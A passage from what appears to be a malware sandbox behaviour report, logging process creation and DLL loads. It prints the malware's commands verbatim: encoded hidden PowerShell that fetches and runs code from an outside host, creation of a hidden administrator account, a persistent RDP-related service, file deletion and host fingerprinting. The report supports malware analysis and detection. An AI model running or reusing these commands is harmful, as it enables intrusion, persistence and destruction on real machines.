EATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE1E8.tmp" "c:\Users\user\AppData\Local\Temp\5v0ewpyz\CSC3197E2CC644CF2871AE1653AC92A50.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
